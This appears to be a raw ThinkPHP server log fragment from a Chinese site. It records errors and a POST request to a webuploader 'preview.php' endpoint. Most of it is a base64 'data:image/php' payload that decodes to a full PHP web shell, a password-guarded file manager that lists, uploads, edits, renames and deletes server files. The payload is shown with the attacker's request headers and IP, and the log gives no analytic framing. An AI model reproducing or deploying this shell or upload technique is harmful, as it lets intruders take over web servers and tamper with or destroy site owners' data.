'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'hui' => 'lib', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:32+08:00 ] 116.213.36.234 POST www.51tianwei.com/manage/assets/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002726s] [吞吐率:366.83req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'manage', 2 => 'assets', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 